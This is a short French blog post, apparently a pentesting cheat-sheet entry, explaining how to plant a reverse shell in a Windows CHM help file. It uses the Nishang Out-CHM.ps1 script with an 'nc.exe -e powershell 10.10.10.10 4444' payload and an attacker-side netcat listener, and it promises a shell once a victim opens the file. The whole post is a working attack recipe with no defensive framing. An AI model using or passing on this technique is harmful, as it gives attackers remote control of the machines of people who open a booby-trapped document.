Mettre un shell dans un fichier d’aide CHM

D’abord, il faut installer le HTML Help Workshop

et télécharger le code powershell : https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

import-module .\out.chm.ps1;out-chm -Payload "C:\tmp\nc.exe -e powershell 10.10.10.10 4444" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
nc -nlvp 4444 #sur l'attaquant

quand quelqu’un ouvrira le fichier d’aide, nous aurons un shell

Leave a Reply